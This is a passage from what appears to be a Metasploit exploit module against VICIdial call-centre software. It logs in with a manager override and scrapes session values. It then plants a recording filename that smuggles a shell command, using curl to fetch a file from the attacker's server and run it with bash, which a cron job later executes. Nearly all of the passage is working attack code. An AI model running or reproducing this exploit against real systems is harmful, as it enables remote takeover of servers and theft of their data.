||||
|
||||
manager_login_body = {
|
||||
'DB' => '0',
|
||||
'JS_browser_height' => '1313',
|
||||
'JS_browser_width' => '2560',
|
||||
'phone_login' => phone_extension,
|
||||
'phone_pass' => phone_password,
|
||||
'VD_login' => datastore['USERNAME'],
|
||||
'VD_pass' => datastore['PASSWORD'],
|
||||
'MGR_override' => '1',
|
||||
'relogin' => 'YES',
|
||||
mgr_login_name => datastore['USERNAME'],
|
||||
mgr_pass_name => datastore['PASSWORD'],
|
||||
'SUBMIT' => 'SUBMIT'
|
||||
}
|
||||
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
|
||||
'method' => 'POST',
|
||||
'headers' => request_headers,
|
||||
'vars_post' => manager_login_body,
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
print_good('Entered "manager" credentials to override shift enforcement')
|
||||
|
||||
agent_login_body = {
|
||||
'DB' => '0',
|
||||
'JS_browser_height' => '1313',
|
||||
'JS_browser_width' => '2560',
|
||||
'phone_login' => phone_extension,
|
||||
'phone_pass' => phone_password,
|
||||
'VD_login' => datastore['USERNAME'],
|
||||
'VD_pass' => datastore['PASSWORD'],
|
||||
'VD_campaign' => fake_campaign_id
|
||||
}
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),
|
||||
'method' => 'POST',
|
||||
'headers' => request_headers,
|
||||
'vars_post' => agent_login_body
|
||||
)
|
||||
|
||||
print_good('Authenticated as agent using phone credentials')
|
||||
|
||||
session_name_match = res.body.match(/var\s+session_name\s*=\s*'([a-zA-Z0-9_]+)';/)
|
||||
session_id_match = res.body.match(/var\s+session_id\s*=\s*'([0-9]+)';/)
|
||||
|
||||
if session_name_match && session_id_match
|
||||
session_name = session_name_match[1]
|
||||
session_id = session_id_match[1]
|
||||
print_good("Session Name: #{session_name}, Session ID: #{session_id}")
|
||||
else
|
||||
fail_with(Failure::NotFound, 'Failed to retrieve session information')
|
||||
end
|
||||
|
||||
[session_name, session_id]
|
||||
end
|
||||
|
||||
def insert_malicious_recording(request_headers, session_name, session_id, recording_extension)
|
||||
uri = get_uri.gsub(%r{^https?://}, '').chomp('/')
|
||||
random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"
|
||||
malicious_filename = "$(curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename})"
|
||||
print_status("Generated malicious command: #{malicious_filename}")
|
||||
|
||||
record1_body = {
|
||||
'server_ip' => datastore['RHOSTS'],
|
||||
'session_name' => session_name,
|
||||
'user' => datastore['USERNAME'],
|
||||
'pass' => datastore['PASSWORD'],
|
||||
'ACTION' => 'MonitorConf',
|
||||
'format' => 'text',
|
||||
'channel' => "Local/#{recording_extension}@default",
|
||||
'filename' => malicious_filename,
|
||||
'exten' => recording_extension,
|
||||
'ext_context' => 'default',
|
||||
'ext_priority' => '1',
|
||||
'FROMvdc' => 'YES',
|
||||
'FROMapi' => ''
|
||||
}
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'manager_send.php'),
|
||||
'method' => 'POST',
|
||||
'headers' => request_headers,
|
||||
'vars_post' => record1_body,
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
recording_id_match = res.body.match(/RecorDing_ID: ([0-9]+)/)
|
||||
if recording_id_match
|
||||
recording_id = recording_id_match[1]
|
||||
print_status(res.body)
|
||||
else
|
||||
fail_with(Failure::Unknown, 'Failed to get recording ID')
|
||||
end
|
||||
|
||||
record2_body = {
|
||||
'server_ip' => datastore['RHOSTS'],
|
||||
'session_name' => session_name,
|
||||
'user' => datastore['USERNAME'],
|
||||
'pass' => datastore['PASSWORD'],
|
||||
'ACTION' => 'StopMonitorConf',
|
||||
'format' => 'text',
|
||||
'channel' => "Local/#{recording_extension}@default",
|
||||
'filename' => "ID:#{recording_id}",
|
||||
'exten' => session_id,
|
||||
'ext_context' => 'default',
|
||||
'ext_priority' => '1',
|
||||
'FROMvdc' => 'YES',
|
||||
'FROMapi' => ''
|
||||
}
|
||||
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'conf_exten_check.php'),
|
||||
'method' => 'POST',
|
||||
'headers' => request_headers,
|
||||
'vars_post' => record2_body,
|
||||
'keep_cookies' => true
|
||||
)
|
||||
|
||||
print_good('Stopped malicious recording to prevent file size from growing')
|
||||
end
|
||||
|
||||
def wait_for_cron_job
|
||||
print_status("Waiting for #{datastore['WfsDelay']} seconds to allow the cron job to execute the payload...")
|
||||
service.wait
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user